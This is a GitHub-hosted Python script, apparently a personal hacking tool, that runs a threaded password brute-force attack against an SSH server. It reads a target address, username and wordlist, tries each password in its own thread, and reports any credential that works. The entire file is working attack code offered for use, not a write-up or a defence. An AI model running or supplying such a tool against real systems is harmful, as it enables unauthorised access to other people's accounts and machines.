-
Notifications
You must be signed in to change notification settings - Fork 1
/
sshbrutethreaded.py
38 lines (31 loc) · 1.13 KB
/
sshbrutethreaded.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import paramiko, sys, os, termcolor
import threading, time
stop_flag = 0
def ssh_connect(password):
global stop_flag
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port=22, username=username, password=password)
stop_flag = 1
print(termcolor.colored(('[+] Found Password: ' + password + ', For Account: ' + username), 'green'))
except:
print(termcolor.colored(('[-] Incorrect Login: ' + password), 'red'))
ssh.close()
host = input('[+] Target Address: ')
username = input('[+] SSH Username: ')
input_file = input('[+] Passwords File: ')
print('\n')
if os.path.exists(input_file) == False:
print('[!!] That File/Path Doesnt Exist')
sys.exit(1)
print('* * * Starting Threaded SSH Bruteforce On ' + host + ' With Account: ' + username + '* * *')
with open(input_file, 'r') as file:
for line in file.readlines():
if stop_flag == 1:
t.join()
exit()
password = line.strip()
t = threading.Thread(target=ssh_connect, args=(password,))
t.start()
time.sleep(0.5)